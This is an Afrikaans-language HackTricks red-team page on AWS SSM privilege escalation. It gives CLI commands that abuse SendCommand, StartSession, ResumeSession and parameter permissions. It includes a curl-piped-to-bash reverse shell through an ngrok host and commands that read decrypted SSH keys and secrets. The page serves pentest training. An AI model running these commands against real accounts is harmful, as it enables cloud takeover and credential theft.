AWS - SSM Privesc

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

SSM

Vir meer inligting oor SSM kyk:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

'n Aanvaller met die toestemming ssm:SendCommand kan opdragte uitvoer in instansies wat die Amazon SSM Agent hardloop en die IAM Rol kompromitteer wat binne-in dit hardloop.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Indien jy hierdie tegniek gebruik om voorregte binne 'n reeds gekompromitteerde EC2-instantie te eskaleer, kan jy net die rev shell plaaslik vasvang met:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potensiële Impak: Direkte privilige-escalation na die EC2 IAM-rolle wat aan lopende instansies met SSM-agente geheg is.

ssm:StartSession

'n Aanvaller met die toestemming ssm:StartSession kan 'n SSH-soortgelyke sessie begin in instansies wat die Amazon SSM-agent hardloop en die IAM-rol kompromitteer wat binne-in dit hardloop.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Om 'n sessie te begin, moet die SessionManagerPlugin geïnstalleer wees: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potensiële Impak: Direkte privilige-escalation na die EC2 IAM-rolle wat aan lopende instansies met SSM Agents gekoppel is.

Privilege-escalation na ECS

Wanneer ECS-take met ExecuteCommand geaktiveer loop, kan gebruikers met genoegsame regte ecs execute-command gebruik om 'n bevel binne die houer uit te voer. Volgens die dokumentasie word dit gedoen deur 'n veilige kanaal tussen die toestel wat jy gebruik om die "exec" bevel te begin en die teikenhouer met SSM Session Manager te skep. (SSM Session Manager Plugin nodig vir hierdie funksie) Daarom sal gebruikers met ssm:StartSession in staat wees om 'n skaal binne ECS-take te kry met daardie opsie geaktiveer deur net die volgende te hardloop:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potensiële Impak: Direkte privesc na die ECSIAM-rolle wat aan lopende take gekoppel is met ExecuteCommand wat ingeskakel is.

ssm:ResumeSession

'n Aanvaller met die toestemming ssm:ResumeSession kan 'n SSH-soortgelyke sessie her-begin in instansies wat die Amazon SSM Agent hardloop met 'n afgesnyde SSM-sessiestaat en die IAM-rol kompromitteer wat binne-in dit hardloop.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potensiële Impak: Direkte privesc na die EC2 IAM-rolle wat aan lopende instansies gekoppel is met SSM-agente wat loop en afgekoppelde sessies.

ssm:BeskryfParameters, (ssm:KryParameter | ssm:KryParameters)

'n Aanvaller met die genoemde regte sal in staat wees om die SSM parameters te lys en hulle in klarteks te lees. In hierdie parameters kan jy dikwels sensitiewe inligting soos SSH-sleutels of API-sleutels vind.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potensiële Impak: Vind sensitiewe inligting binne die parameters.

ssm:ListCommands

'n Aanvaller met hierdie toestemming kan al die opdragte wat gestuur is lys en hopelik sensitiewe inligting daarop vind.

aws ssm list-commands

Potensiële Impak: Vind sensitiewe inligting binne die opdraglyne.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

'n Aanvaller met hierdie regte kan al die opdragte lys wat gestuur is en die uitset gegenereer lees in die hoop om sensitiewe inligting daarin te vind.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potensiële Impak: Vind sensitiewe inligting binne die uitset van die opdraglyne.

Codebuild

Jy kan ook SSM gebruik om binne 'n codebuild projek wat gebou word te kom:

AWS - Codebuild Privesc
Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated